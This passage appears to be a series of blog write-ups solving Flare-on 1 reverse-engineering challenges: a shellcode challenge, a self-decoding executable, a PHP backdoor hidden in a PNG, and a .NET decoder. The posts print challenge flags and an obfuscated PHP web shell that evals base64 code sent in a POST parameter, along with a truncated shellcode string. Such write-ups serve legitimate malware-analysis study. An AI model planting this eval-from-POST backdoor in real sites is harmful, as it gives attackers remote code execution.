encoded ="%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u-SNIP-%u2454%u5740%ud0ff"

for s in encoded.split('%'):
    if len(s) == 5:
        HI_BYTE = s[3:]
        LO_BYTE = s[1:3]
        out.write(unhx(HI_BYTE))
        out.write(unhx(LO_BYTE))
out.close()

I took the binary code and loaded it in BlobRunner and attached x64dbg to it.

The first instruction sets the carry flag to 1, the following instruction JMPs to end the code if the CF flag is set, the JB instruction needs to be patched to a NOP or the CF set to 0 to keep running the code.

The code can be walked through until it loads the flag into the stack around offsec of +0x3c1 and it shows up in the register of ECX.

However, if you run the code until completion it shows up as junk in the message box that is displayed.

To get the flag to show up in the message box you need to NOP the look starting at +0x3ce before the CALL to EAX.

Now the flag shows up in the message box!

Flare-on 1 – Challenge 3 – Shellolololol

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

Challenge 3 brings a PE executable file to take a look at.

such_evil: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

I loaded the file up in x64dbg and after navigating to the main function it looks to load a whole lot of data onto the stack then CALL into the loaded code.

I continued to step through the program monitoring and watching the memory region pointed to be ESI.

The shell code (not pictured) is decoded and over written in multiple stages leaving these messages at ESI

Finally revealing the flag

such.5h311010101@flare-on.com

There are more elaborate ways to reveal the flag, the official write up uses IDAPython scripting to manually decode the messages.

Flare-on 1 – Challenge 2 – Javascrap

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

In Challenge 2 the zip file extracts a html and png file.

From the top of the HTML file to looks pretty normal until you see the PHP tag located near the bottom of the code including the PNG file in the img directory.

The file looks to be a normal PNG file and displays image data when loaded.

At the end of the file, you find some PHP code. I copied out the PHP code and translated it to some python code, it looks to be a decoding routine to generate a payload.

terms=["M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&amp;", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|"]
order=[59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47]
do_me=""

for i in range(len(order)):
    do_me+=terms[order[i]]

print (do_me)

This generated payload looks to contain a few base64 encoded strings.

$_= 'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9';$__='JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7';$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));

I created the following code to decode the strings

import base64

print('$_ is', base64.b64decode('aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9'))
print()
print('$__ is', base64.b64decode('JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7'))

This code extracts some POST payloads that look to be hex and decimal ASCII codes.

$_ is b'if(isset($_POST["\\97\\49\\49\\68\\x4F\\84\\116\\x68\\97\\x74\\x44\\x4F\\x54\\x6A\\97\\x76\\x61\\x35\\x63\\x72\\97\\x70\\x41\\84\\x66\\x6C\\97\\x72\\x65\\x44\\65\\x53\\72\\111\\110\\68\\79\\84\\99\\x6F\\x6D"])) { eval(base64_decode($_POST["\\97\\49\\x31\\68\\x4F\\x54\\116\\104\\x61\\116\\x44\\79\\x54\\106\\97\\118\\97\\53\\x63\\114\\x61\\x70\\65\\84\\102\\x6C\\x61\\114\\101\\x44\\65\\x53\\72\\111\\x6E\\x44\\x4F\\84\\99\\x6F\\x6D"])); }'

$__ is b'$code=base64_decode($_);eval($code);'

Once more to convert these values to characters we find the flag.

print("_POST = ", end="")
string2=[97, 49, 49, 68, 0x4F, 84, 116, 0x68, 97, 0x74, 0x44, 0x4F, 0x54, 0x6A, 97, 0x76, 0x61, 0x35, 0x63, 0x72, 97, 0x70, 0x41, 84, 0x66, 0x6C, 97, 0x72, 0x65, 0x44, 65, 0x53, 72, 111, 110, 68, 79, 84, 99, 0x6F, 0x6D]

for i in string2:
    print(chr(i), end="")
_POST = a11DOTthatDOTjava5crapATflareDASHonDOTcom

Flare-on 1 – Challenge 1 – Bob Doge

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

In the very first challenge you are presented with a windows executable and when you run it you are presented with a Bob Ross painting a nice scene.

But, when you click DECODE! You get a Bob Doge with an weird text string.

Digging a little deeper to see what type of file we have we find we hace a .NET executable.

$ file Challenge1.exe                                                   
Challenge1.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

I next loaded the file up in dnSpy and after navigating from the entry point into Form1. I found the following code block.

The function “btnDecode_Click()” looks very interesting, when stepping into it I find what looks to be a decoding algorithm that pulls its content from the Resources. I set a few breakpoints on the code just after the loops.

After running to the breakpoint after the first loop the flag is in clear text in the “text” variable. The next few loops re-encode the flag to return an obscured output shown in the UI.